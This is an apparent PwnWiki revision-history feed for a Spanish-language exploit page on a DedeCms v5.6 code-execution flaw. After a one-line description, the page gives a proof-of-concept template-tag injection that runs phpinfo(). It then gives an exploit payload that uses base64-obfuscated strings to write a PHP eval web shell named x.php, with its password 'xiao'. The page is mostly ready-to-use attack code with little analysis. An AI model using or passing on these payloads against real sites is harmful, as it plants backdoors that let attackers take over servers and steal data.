https://pwnwiki.com/index.php?action=history&feed=atom&title=DedeCms_v5.6_%E5%B5%8C%E5%85%A5%E6%83%A1%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2FesDedeCms v5.6 嵌入惡意代碼執行漏洞/es - Revision history2026-04-10T12:30:17ZRevision history for this page on the wikiMediaWiki 1.35.1https://pwnwiki.com/index.php?title=DedeCms_v5.6_%E5%B5%8C%E5%85%A5%E6%83%A1%E6%84%8F%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/es&diff=4700&oldid=prevPwnwiki: Created page with "DedeCms v5.6 vulnerabilidad de ejecución de código malicioso integrado"2021-06-10T03:44:13Z<p>Created page with "DedeCms v5.6 vulnerabilidad de ejecución de código malicioso integrado"</p>
<p><b>New page</b></p><div><languages /><br />
<br />
== Información de vulnerabilidad ==<br />
<br />
En la ubicación donde se carga el software, la dirección local no se verifica de manera efectiva y puede usarse de manera maliciosa.<br />
<br />
==POC==<br />
<pre><br />
a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，<br />
</pre><br />
<br />
==EXP==<br />
<pre><br />
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}<br />
</pre><br />
<br />
<pre><br />
x.php<br />
password:xiao<br />
</pre></div>Pwnwiki